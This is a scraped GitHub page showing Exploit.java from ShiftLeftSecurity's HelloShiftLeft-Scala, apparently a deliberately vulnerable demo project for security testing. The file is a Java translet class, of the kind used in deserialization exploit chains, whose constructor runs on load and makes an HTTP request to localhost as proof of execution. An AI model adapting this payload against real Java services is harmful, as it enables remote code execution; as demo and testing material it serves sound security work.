FazBrowse GitHub Viewer
|
Trending
|
URL:
|
Home
Tools:
[Download Repo ZIP]
[View Raw Code]
[Original HTTPS Page]
HelloShiftLeft-Scala/Exploit.java at master · ShiftLeftSecurity/HelloShiftLeft-Scala · GitHub
Uh oh!
There was an error while loading.
Please reload this page
.
ShiftLeftSecurity
/
HelloShiftLeft-Scala
Public
Notifications
You must be signed in to change notification settings
Fork
40
Star
1
Code
Issues
0
Pull requests
2
Actions
Projects
Security and quality
0
Insights
Additional navigation options
Code
Issues
Pull requests
Actions
Projects
Security and quality
Insights
Expand file tree
Breadcrumbs
HelloShiftLeft-Scala
/
Exploit.java
Copy path
More file actions
More file actions
Latest commit
History
History
History
25 lines (22 loc) · 1.02 KB
Breadcrumbs
HelloShiftLeft-Scala
/
Exploit.java
Copy path
File metadata and controls
25 lines (22 loc) · 1.02 KB
Raw
Copy raw file
Download raw file
Open symbols panel
Edit and raw actions
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import
java
.
io
.*;
import
java
.
net
.*;
public
class
Exploit
extends
com
.
sun
.
org
.
apache
.
xalan
.
internal
.
xsltc
.
runtime
.
AbstractTranslet
{
public
Exploit
()
throws
Exception
{
StringBuilder
result
=
new
StringBuilder
();
URL
url
=
new
URL
(
"http://localhost:12345"
);
HttpURLConnection
conn
= (
HttpURLConnection
)
url
.
openConnection
();
conn
.
setRequestMethod
(
"GET"
);
BufferedReader
rd
=
new
BufferedReader
(
new
InputStreamReader
(
conn
.
getInputStream
()));
String
line
;
while
((
line
=
rd
.
readLine
()) !=
null
) {
result
.
append
(
line
);
}
rd
.
close
();
}
@
Override
public
void
transform
(
com
.
sun
.
org
.
apache
.
xalan
.
internal
.
xsltc
.
DOM
document
,
com
.
sun
.
org
.
apache
.
xml
.
internal
.
dtm
.
DTMAxisIterator
iterator
,
com
.
sun
.
org
.
apache
.
xml
.
internal
.
serializer
.
SerializationHandler
handler
) {
}
@
Override
public
void
transform
(
com
.
sun
.
org
.
apache
.
xalan
.
internal
.
xsltc
.
DOM
document
,
com
.
sun
.
org
.
apache
.
xml
.
internal
.
serializer
.
SerializationHandler
[]
handler
) {
}
}
Back
|
FazBrowse Home
|
New Git URL